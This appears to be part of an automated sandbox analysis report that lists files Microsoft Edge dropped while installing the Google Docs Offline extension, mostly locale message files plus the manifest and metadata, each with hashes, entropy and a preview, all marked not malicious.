SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
